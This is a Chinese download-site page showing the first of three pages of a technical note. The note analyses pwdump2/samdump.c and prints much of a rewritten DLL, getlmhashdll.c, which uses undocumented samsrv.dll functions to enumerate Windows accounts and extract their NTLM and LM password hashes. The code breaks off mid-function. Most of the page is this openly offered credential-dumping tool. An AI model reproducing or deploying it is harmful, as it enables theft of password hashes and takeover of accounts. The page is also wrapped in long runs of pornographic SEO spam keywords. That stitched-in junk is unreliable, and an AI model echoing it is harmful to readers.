亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? pwdump2samdump.c淺析與改進.txt

?? samdump.c調用LsaQueryInformationPolicy()獲取主機SID
?? TXT
?? 第 1 頁 / 共 3 頁
字號:
☆ pwdump2/samdump.c淺析與改進



samdump.c調用LsaQueryInformationPolicy()獲取主機SID,未調用LsaFreeMemory()
釋放內存,造成lsass.exe進程空間的內存泄漏。此外,需要引入advapi32.lib。

samdump.c中有一個RegCloseKey()操作,可能最初直接讀取注冊表,后因LM Hash、
NTLM Hash加密存放,才改用samsrv.dll引出的未公開(文檔化)函數。

我重寫了pwdump2,主要是配合前段時間samsrv.dll的逆向工程,將一些猜測性結論
加以驗證,或推翻或肯定。參getlmhashdll.c源代碼,將整個流程減化、抽象一下:

--------------------------------------------------------------------------
SamIConnect
    SamrEnumerateDomainsInSamServer
        SamrLookupDomainInSamServer
            SamrOpenDomain
                SamrEnumerateUsersInDomain
                    SamrOpenUser
                        SamrQueryInformationUser
                        SamIFree_SAMPR_USER_INFO_BUFFER
                    SamrCloseHandle
                SamIFree_SAMPR_ENUMERATION_BUFFER
            SamrCloseHandle
        LocalFree
    SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
--------------------------------------------------------------------------

SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未
曾用到的samsrv.dll引出函數,用以代替LsaQueryInformationPolicy,其實我演示
的這個方法才是正經的SAM操作方法。我的意思是,要用未文檔化的函數,就都用好
了。

使用LsaQueryInformationPolicy的話,就不必使用SamrEnumerateUsersInDomain,
理念換成"盡量使用文檔化的函數",用NetUserEnum枚舉帳號。

相比samdump.c,沒有其它改進,Todd Sabin已經完成了必要的Hacking。

--------------------------------------------------------------------------
/*
* (C) Todd Sabin 1997,1998,2000  All rights reserved.
* -----------------------------------------------------------------------
* Rewrite  : scz <scz@nsfocus.com>
*          : http://www.nsfocus.com
* Version  : 1.10
* Compile  : For x86/EWindows XP SP1 & VC 7
*          : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE
*          :
* Create   : 2003-12-29 21:42
* Modify   : 2004-01-04 17:26
* -----------------------------------------------------------------------
* The only thing they can't take from us are our minds. !H
*/

/************************************************************************
*                                                                      *
*                               Head File                              *
*                                                                      *
************************************************************************/

/*
* #define _WIN32_WINNT 0x0501
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* for _vsnprintf()
*/
#include <stdarg.h>
#include <windows.h>

/************************************************************************
*                                                                      *
*                               Macro                                  *
*                                                                      *
************************************************************************/

#pragma comment( linker, "/INCREMENTAL:NO"    )
#pragma comment( lib,    "kernel32.lib"       )

#define VERSION                         "1.10"

/*
* you'll find a list of NTSTATUS status codes in the DDK header
* ntstatus.h (\WINDDK\2600.1106\inc\ddk\wxp\)
*/
typedef LONG                            NTSTATUS;
#define NT_SUCCESS(status)              ((NTSTATUS)(status)>=0)
#define STATUS_MORE_ENTRIES             ((NTSTATUS)0x00000105L)

#define SamUserOWFPasswordInformation   0x12

#pragma pack( push, 1 )

/*
* ntdef.h
*/
typedef struct _UNICODE_STRING
{
    USHORT  Length;         // +0x000
    USHORT  MaximumLength;  // +0x002
    PWSTR   Buffer;         // +0x004
                            // +0x008
} UNICODE_STRING, *PUNICODE_STRING;

/*
* !!!
* from Luke Kenneth Casson Leighton
*/
typedef struct _SAM_DOMAIN_USER
{
    DWORD           userrid;    // +0x000
    UNICODE_STRING  username;   // +0x004,這是一個結構,而非結構指針
                                // +0x00c,該結構總共占12字節
} SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;

/*
* !!!
* (C) Todd Sabin 1997,1998,2000  All rights reserved.
*/
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
    DWORD               DomainUserCount;    // +0x000,數組元素個數
    PSAM_DOMAIN_USER    DomainUser;         // +0x004,動態分配空間的結構數組
                                            // +0x008,后面還有沒有成員,目前看不出來
    /*
     * ... ...
     */
} SAM_DOMAIN_USER_ENUMERATION, *PSAM_DOMAIN_USER_ENUMERATION, **PPSAM_DOMAIN_USER_ENUMERATION;

/*
* 自己Hacking得到的結構,不可靠
*/
typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION   // Information Class 0x12
{
    unsigned char       NTLMHash[16];   // +0x000,16字節的NTLM Hash
    unsigned char       LMHash[16];     // +0x010,16字節的LM Hash
    unsigned short int  Unknown_020;    // +0x020,參samsrv!SampGetCurrentAdminPassword()
    unsigned char       Unknown_022;    // +0x022
                                        // +0x023
} SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;

typedef struct _SAM_SERVER_DOMAIN
{
    DWORD           unused;         // +0x000,未使用,總為0(猜測)
    UNICODE_STRING  domainname;     // +0x004,這是一個結構,而非結構指針
                                    // +0x00c,該結構總共占12字節
} SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;

typedef struct _SAM_DOMAIN_ENUMERATION
{
    DWORD               ServerDomainCount;  // +0x000,數組元素個數
    PSAM_SERVER_DOMAIN  ServerDomain;       // +0x004,動態分配空間的結構數組
                                            // +0x008,后面還有沒有成員,目前看不出來
    /*
     * ... ...
     */
} SAM_SERVER_DOMAIN_ENUMERATION, *PSAM_SERVER_DOMAIN_ENUMERATION, **PPSAM_SERVER_DOMAIN_ENUMERATION;

#pragma pack( pop )

/*
* 這些Undocumented Win32 API由samsrv.dll引出(export)
*/
typedef NTSTATUS ( WINAPI *SAMICONNECT )
(
    DWORD   Unknown_0,      // 意義不明,調用時一般為0
    PHANDLE pSamHandle,     // [out]參數,是指向HANDLE的指針,不是HANDLE
    DWORD   AccessMask,     // Access Mask
    DWORD   Unknown_1       // 意義不明,調用時一般為1
);

typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN )
(
    HANDLE  SamHandle,      // 源自sam connect操作
    DWORD   AccessMask,     // Access Mask
    PSID    DomainSid,      // 這個域不是通常所說NT域
    PHANDLE pDomainHandle   // [out]參數,是指向HANDLE的指針,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMROPENUSER )
(
    HANDLE  DomainHandle,   // 源自sam open domain操作
    DWORD   AccessMask,     // Access Mask
    DWORD   Rid,            // 比如500,0x1F4,Administrator
    PHANDLE pUserHandle     // [out]參數,是指向HANDLE的指針,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER )
(
    HANDLE  UserHandle,     // 源自sam open user操作
    DWORD   InfoClass,      // 其實是SAM_USER_INFORMATION_CLASS枚舉型,為
                            // 了減少編譯難度,換成DWORD型
    PVOID   UserInfo        // 隨InfoClass不同,對應不同的結構
);

typedef VOID     ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER )
(
    PVOID   UserInfo,       // 隨InfoClass不同,對應不同的結構
    DWORD   InfoClass       // 其實是SAM_USER_INFORMATION_CLASS枚舉型,為
                            // 了減少編譯難度,換成DWORD型
);

typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE )
(
    PHANDLE pHandle         // 可以關閉各種sam操作相關的句柄
                            // 是指向HANDLE的指針,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN )
(
    HANDLE                          DomainHandle,               // 源自sam open domain操作
    PHANDLE                         pEnumerationHandle,         // [in/out]參數,Resume Handle
                                                                // 是指向HANDLE的指針,不是HANDLE
    DWORD                           AccessMask,                 // filter,Access Mask
                                                                // 如欲枚舉所有帳號,指定0
    PPSAM_DOMAIN_USER_ENUMERATION   pDomainUserEnumeration,     // [out]參數
    DWORD                           PrefMaxSize,                // 意義未明,似乎對應Pref MaxSize
                                                                // 可以指定成0x0000FFFF
    PDWORD                          pUserCount                  // [out]參數,枚舉出的帳號數目
);

typedef VOID     ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER )
(
    PVOID   EnumerationBuf  // 其實是PSAM_ENUMERATION_BUFFER
                            // 調用時可能傳PSAM_DOMAIN_USER_ENUMERATION
                            // 或者傳PSAM_SERVER_DOMAIN_ENUMERATION
);

typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER )
(
    HANDLE                          SamHandle,                  // 源自sam connect操作
    PHANDLE                         pEnumerationHandle,         // [in/out]參數,Resume Handle
                                                                // 是指向HANDLE的指針,不是HANDLE
    PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration,   // [out]參數
    DWORD                           PrefMaxSize,                // 意義未明,似乎對應Pref MaxSize
                                                                // 應該也可以指定成0x0000FFFF
    PDWORD                          pDomainCount                // [out]參數,枚舉出的Domain數目
);

typedef NTSTATUS ( WINAPI *SAMRLOOKUPDOMAININSAMSERVER )
(
    HANDLE              SamHandle,      // 源自sam connect操作
    PUNICODE_STRING     DomainName,     //
    PSID               *pDomainSid      // [out]參數,用LocalFree()釋放
);

/*
* 這些Native API由ntdll.dll引出(export)
*/
typedef ULONG    ( __stdcall *RTLNTSTATUSTODOSERROR )
(
    IN NTSTATUS status
);

/************************************************************************
*                                                                      *
*                            Function Prototype                        *
*                                                                      *
************************************************************************/

static void getlmhash           ( void );
static BOOL LocateNtdllEntry    ( void );
static BOOL LocateSamsrvEntry   ( void );
static void PrintHash           ( unsigned char *hash );
static void PrintUnicodeString  ( PUNICODE_STRING us );
static void PrintWin32ErrorCUI  ( char *message, DWORD dwMessageId );
static void PrintZwErrorCUI     ( char *message, NTSTATUS status );
static int  PrivatePrintf
(
    HANDLE      handle,
    char       *buf,
    size_t      count,
    const char *format,
    ...
);

__declspec(dllexport)
       DWORD __cdecl
            getlmhashdll_main   ( char *pipename );

/************************************************************************
*                                                                      *
*                            Static Global Var                         *
*                                                                      *
************************************************************************/

static HANDLE                               outfile                             = INVALID_HANDLE_VALUE;
static char                                *outbuf                              = NULL;
static size_t                               outbuflen                           = 0;
static HMODULE                              samsrv                              = NULL;

/*
* 由samsrv.dll引出的Undocumented Win32 API函數指針
*/
static SAMICONNECT                          SamIConnect                         = NULL;
static SAMROPENDOMAIN                       SamrOpenDomain                      = NULL;
static SAMROPENUSER                         SamrOpenUser                        = NULL;
static SAMRQUERYINFORMATIONUSER             SamrQueryInformationUser            = NULL;
static SAMIFREE_SAMPR_USER_INFO_BUFFER      SamIFree_SAMPR_USER_INFO_BUFFER     = NULL;
static SAMRCLOSEHANDLE                      SamrCloseHandle                     = NULL;
static SAMRENUMERATEUSERSINDOMAIN           SamrEnumerateUsersInDomain          = NULL;
static SAMIFREE_SAMPR_ENUMERATION_BUFFER    SamIFree_SAMPR_ENUMERATION_BUFFER   = NULL;
static SAMRENUMERATEDOMAINSINSAMSERVER      SamrEnumerateDomainsInSamServer     = NULL;
static SAMRLOOKUPDOMAININSAMSERVER          SamrLookupDomainInSamServer         = NULL;

/*
* 由ntdll.dll引出的Native API函數指針
*/
static RTLNTSTATUSTODOSERROR                RtlNtStatusToDosError               = NULL;

/************************************************************************/

static void getlmhash ( void )
{
    NTSTATUS    status;
    HANDLE                              SamHandle               = NULL,
                                        EnumerationHandle       = NULL,
                                        DomainHandle            = NULL,
                                        UserHandle              = NULL;
    PSAM_SERVER_DOMAIN_ENUMERATION      ServerDomainEnumeration = NULL;
    DWORD                               DomainCount             = 0,
                                        UserCount               = 0,
                                        Count                   = 0;
    PSID                                DomainSid               = NULL;
    PSAM_DOMAIN_USER_ENUMERATION        DomainUserEnumeration   = NULL;
    BOOL                                nomoredata              = FALSE;
    PSAM_USER_OWF_PASSWORD_INFORMATION  UserOWFPasswordInfo     = NULL;

    status              = SamIConnect
    (
        0,              // 意義不明,調用時一般為0
        &SamHandle,     // [out]參數,是指向HANDLE的指針,不是HANDLE
        0x10000030,     // Access Mask
                        // Generic read
                        // Open domain
                        // Enum domains
        1               // 意義不明,調用時一般為1
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamIConnect() failed",
            status
        );
        goto getlmhash_exit;
    }
    status              = SamrEnumerateDomainsInSamServer
    (
        SamHandle,                  // 源自sam connect操作
        &EnumerationHandle,         // [in/out]參數,Resume Handle
                                    // 是指向HANDLE的指針,不是HANDLE
        &ServerDomainEnumeration,   // [out]參數
        0x0000FFFF,                 // 意義未明,似乎對應Pref MaxSize
                                    // 應該也可以指定成0x0000FFFF
        &DomainCount                // [out]參數,枚舉出的Domain數目
    );
    if ( !NT_SUCCESS( status ) )

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久精品欧美一区二区三区不卡 | 欧美日本国产视频| 日韩精品一区二区三区视频播放| 国产无一区二区| 婷婷久久综合九色综合伊人色| 国产一区二区h| 欧美日韩你懂的| 亚洲视频一二三| 国产一区视频导航| 欧美日韩第一区日日骚| 亚洲色图丝袜美腿| 国产大片一区二区| 精品三级在线看| 视频一区视频二区中文| 91麻豆国产福利精品| 精品国产乱码久久久久久夜甘婷婷| 亚洲在线成人精品| av中文字幕亚洲| 中文字幕电影一区| 国产老肥熟一区二区三区| 91精品一区二区三区在线观看| 亚洲欧美色图小说| 99在线精品免费| 国产欧美日韩在线观看| 国产一区在线不卡| 精品国产一区a| 免费美女久久99| 欧美日韩久久不卡| 日韩不卡一区二区三区| 欧美图片一区二区三区| 悠悠色在线精品| 一本一本大道香蕉久在线精品| 国产精品蜜臀av| 99精品热视频| 一区免费观看视频| 99久久国产综合精品女不卡| 国产精品视频观看| 9久草视频在线视频精品| 欧美国产在线观看| 成人网页在线观看| 国产精品二三区| jizzjizzjizz欧美| 91老师片黄在线观看| 一区免费观看视频| 欧美影视一区在线| 午夜不卡av在线| 日韩一级完整毛片| 激情欧美日韩一区二区| 久久精品一区二区三区不卡| 高清不卡一区二区| 亚洲天堂精品在线观看| 欧美亚洲综合网| 日韩不卡手机在线v区| 精品免费一区二区三区| 国产成人精品午夜视频免费| 亚洲色图第一区| 欧美性生活久久| 久久电影网站中文字幕| 国产精品视频线看| 欧美日韩综合色| 久久99在线观看| 国产精品久久久久久久久快鸭| 日本久久一区二区三区| 日韩黄色片在线观看| 久久这里只有精品视频网| 不卡的av中国片| 日韩中文字幕区一区有砖一区 | 国产精品午夜电影| 日本乱人伦一区| 久久99久久久欧美国产| 最新日韩av在线| 欧美一级淫片007| 国产成人夜色高潮福利影视| 一区二区三区四区乱视频| 欧美一区二区三区啪啪| 成人av小说网| 美女mm1313爽爽久久久蜜臀| 国产精品毛片a∨一区二区三区| 在线精品观看国产| 国产精品亚洲成人| 日韩精品亚洲专区| 国产精品美女一区二区三区 | 欧美日韩精品专区| 国产精品综合一区二区三区| 夜夜夜精品看看| 欧美国产日韩a欧美在线观看| 欧美日韩在线电影| 成人av资源在线观看| 热久久一区二区| 亚洲免费三区一区二区| 久久亚洲二区三区| 欧美年轻男男videosbes| 成人在线视频一区二区| 奇米综合一区二区三区精品视频| 国产精品久久久久久久久免费桃花| 日韩欧美一二三| 欧美色网站导航| 色88888久久久久久影院按摩| 国产福利一区二区三区在线视频| 日韩高清欧美激情| 亚洲码国产岛国毛片在线| 久久你懂得1024| 日韩视频一区二区在线观看| 欧美日韩在线综合| 色av综合在线| 91网站最新地址| 97精品国产97久久久久久久久久久久| 国产主播一区二区| 黄网站免费久久| 精品一区二区三区的国产在线播放| 视频在线观看91| 亚洲午夜久久久久久久久电影网| 最新日韩在线视频| 一区二区三区四区视频精品免费| 亚洲欧洲中文日韩久久av乱码| 中文字幕一区免费在线观看| 亚洲特黄一级片| 亚洲精品综合在线| 亚洲综合一区二区| 亚洲va天堂va国产va久| 亚洲v日本v欧美v久久精品| 日韩综合在线视频| 精彩视频一区二区| 国产精品一二三在| 成人免费视频app| 99re视频精品| 欧美在线综合视频| 91精品国产91久久久久久最新毛片| 91麻豆精品国产91久久久久| 日韩欧美精品在线| 久久久久久9999| 日本一区二区三区四区| 成人免费视频在线观看| 一区二区成人在线| 亚洲亚洲精品在线观看| 日韩中文字幕麻豆| 秋霞电影一区二区| 极品少妇xxxx偷拍精品少妇| 国产夫妻精品视频| 成人亚洲精品久久久久软件| 成人动漫中文字幕| av一区二区三区四区| 成人一级黄色片| 一本久久综合亚洲鲁鲁五月天| 色哟哟一区二区三区| 在线免费观看成人短视频| 91麻豆国产福利精品| 欧美一区二区日韩一区二区| 精品欧美黑人一区二区三区| 久久久精品国产免大香伊| xf在线a精品一区二区视频网站| 久久综合一区二区| 欧美国产在线观看| 一区二区日韩av| 偷拍一区二区三区四区| 亚洲一二三专区| 国产大片一区二区| 在线精品视频一区二区| 欧美一级片在线观看| 精品国产乱码久久久久久久久| 日韩一区在线看| 亚洲成人动漫av| 精品一二线国产| 91猫先生在线| 日韩一区二区影院| 国产精品视频线看| 日韩黄色在线观看| av中文字幕不卡| 久久精品人人做| 亚洲国产精品久久艾草纯爱| 久久97超碰色| 色综合视频一区二区三区高清| 久久亚区不卡日本| 亚洲永久精品大片| 国产乱子伦一区二区三区国色天香 | 国产99久久久国产精品潘金| 日本久久一区二区| 日韩三级伦理片妻子的秘密按摩| 亚洲色图欧美在线| 国产一区二区三区在线观看免费 | 日本aⅴ精品一区二区三区| 成人性生交大片| 欧美另类高清zo欧美| 在线看国产一区二区| 亚洲天堂成人网| 国产suv一区二区三区88区| 在线91免费看| 国产精品你懂的在线| 国产美女精品人人做人人爽 | 国产精品资源网站| 欧美日韩国产欧美日美国产精品| 精品久久久久久综合日本欧美| 亚洲综合网站在线观看| 岛国av在线一区| 欧美大片在线观看一区| 日本不卡一二三区黄网| 一本一本大道香蕉久在线精品| 国产欧美日韩精品在线| 亚洲电影在线免费观看| 欧美电影在线免费观看|